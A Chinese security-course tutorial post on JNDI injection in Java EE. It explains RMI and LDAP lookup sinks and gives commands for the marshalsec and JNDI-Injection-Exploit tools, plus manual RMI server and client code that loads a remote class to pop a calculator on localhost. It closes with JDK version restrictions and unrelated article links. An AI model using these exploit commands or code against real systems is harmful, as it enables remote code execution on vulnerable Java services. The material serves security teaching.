第47天:Web开发-JavaEE应用JNDI注入RMI服务LDAP服务DNS服务高版本限制绕过

embedded/2025/2/27 15:11:36/
#知识点

1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等

2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等

协议

作用

LDAP

轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

RMI

JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象

DNS

域名服务

CORBA

公共对象请求代理体系结构

思考明白:

什么是jndi注入

为什么有jndi注入

JDNI注入安全问题

JDNI注入利用条件

参考:https://blog.csdn.net/dupei/article/details/120534024

一、JNDI注入-RMI&LDAP服务

1、JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

2、调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

①在RMI服务中调用了InitialContext.lookup()的类有

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

②在LDAP服务中调用了InitialContext.lookup()的类有

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

总结:代码审计时,重点关注源码或者依赖jar包是否有类用到了InitialContext类,并调用了其中的lookup()方法,即InitialContext.lookup()->若lookup()中的参数可控rmi/ldap则可形成rce

三、JNDI工具注入(两款工具):

项目1:https://github.com/mbechler/marshalsec  #工具使用

在当前目录用python创建一个网站

1、编译调用对象

javac calc.java ->生成calc.class文件

2、使用利用工具生成调用协议(rmi,ldap)

①LDAP:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc

->http://127.0.0.1:8888为启动的本地网站,Calc为编译生成的Calc.class文件的文件名

②RMI:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc

->http://127.0.0.1:8888为启动的本地网站,Calc为编译生成的Calc.class文件的文件名

3、将生成的Class存放访问路径

项目2:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

四、JNDI注入手工:

//bind:将名称绑定到对象中;

//lookup:通过名字检索执行的对象;

//Reference类表示对存在于命名/目录系统以外的对象的引用。

//Reference参数:

//className:远程加载时所使用的类名;

//classFactory:加载的class中需要实例化类的名称;

//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听(服务端)

Registry registry = LocateRegistry.createRegistry(7778);

Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");

ReferenceWrapper wrapper = new ReferenceWrapper(reference);

registry.bind("RCE", wrapper);

启动起来端口8089

python启动本地网站监听8089

要执行命名Test文件的编译文件Test.class放到网站目录下

2、Clinet(客户端)连接触发

String uri = "rmi://127.0.0.1:7778/RCE";

InitialContext initialContext = new InitialContext();

initialContext.lookup(uri);

运行:

五、JDK高版本注入绕过: 

这个版本指的运行这个Java程序运行的jdk版本号,不是在使用工具时,工具jar包需要的版本

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

见后续Java安全篇章课程将讲到

总结:

1、知道JNID注入触发原理->代码审计时,重点关注源码或者依赖jar包是否有类用到了InitialContext类,并调用了其中的lookup()方法,即InitialContext.lookup()->若lookup()中的参数可控rmi/ldap则可形成rce

2、会使用两款工具JNDI-Injection-Exploit与marshalsec,以及手工注入

3、知道JDK高版本的JNDI注入rmi&ldap绕过


http://www.ppmy.cn/embedded/167555.html

相关文章

MLops:可解释深度神经网络训练平台Neural Designer ®

可解释深度神经网络训练平台Neural Designer 可解释神经网络训练平台Neural Designer NeuralDesign深度学习 基本介绍 Neural Designer是Artelnics公司研发的一款基于深度神经网络(人工智能研究主要领域)的机器学习软件包。她包含一个图形用户界面&…

哈希表模拟封装unordered_map和unordered_set

杀马特主页&#xff1a;羑悻的小杀马特.-CSDN博客 ------ ->欢迎阅读 欢迎阅读 欢迎阅读 欢迎阅读 <------- 目录 前言&#xff1a; 一哈希表的调用&#xff1a; 二底层hash的修改操作…

android计算屏幕尺寸dpi

说明&#xff1a; 我计划用一个Android程序&#xff0c;打印出平板屏幕的尺寸&#xff0c;大小&#xff0c;dpi等参数信息 效果图&#xff1a; 分辨率: 1280x752DPI: 213物理尺寸(英寸): 对角线 9.4step1: package com.example.myapplication;import android.os.Bundle; impor…

【LLM】本地部署LLM大语言模型+可视化交互聊天,附常见本地部署硬件要求(以Ollama+OpenWebUI部署DeepSeekR1为例)

【LLM】本地部署LLM大语言模型可视化交互聊天&#xff0c;附常见本地部署硬件要求&#xff08;以OllamaOpenWebUI部署DeepSeekR1为例&#xff09; 文章目录 1、本地部署LLM&#xff08;以Ollama为例&#xff09;2、本地LLM交互界面&#xff08;以OpenWebUI为例&#xff09;3、本…

从哪里下载WinPrefetchView最安全?

WinPrefetchView 是一款用于读取和显示 Windows 系统中预读取文件&#xff08;Prefetch&#xff09;信息的工具&#xff0c;能够帮助用户了解系统启动时加载了哪些文件以及应用程序的运行情况。为了确保下载安全&#xff0c;建议从以下可信来源获取&#xff1a; 1. MajorGeeks…

在vscode中编译运行c语言文件,配置并运行OpenMP多线程并行程序设计

1.下载安装vscode Visual Studio Code - Code Editing. Redefined 2.安装vscode扩展 打开vscode,按ctrl+shift+x,打开扩展,搜索c/c++,下载相应的扩展 3.下载MinGW-w64 MinGW-w64 提供了 GNU 编译器集合,可以编译c/c++文件 这里下载见我的资源,可直接下载 把压缩包解压…

洛谷 B2006:地球人口承载力估计 ← float 类型

【题目来源】 https://www.luogu.com.cn/problem/B2006 【题目描述】 假设地球上的新生资源按恒定速度增长。照此测算&#xff0c;地球上现有资源加上新生资源可供 x 亿人生活 a 年&#xff0c;或供 y 亿人生活 b 年。 为了能够实现可持续发展&#xff0c;避免资源枯竭&#x…

J-LangChain - RAG - PDF问答

系列文章索引 J-LangChain 入门 在现代自然语言处理&#xff08;NLP&#xff09;中&#xff0c;基于文档内容的问答系统变得愈发重要&#xff0c;尤其是当我们需要从大量文档中提取信息时。通过结合文档检索和生成模型&#xff08;如RAG&#xff0c;Retrieval-Augmented Gener…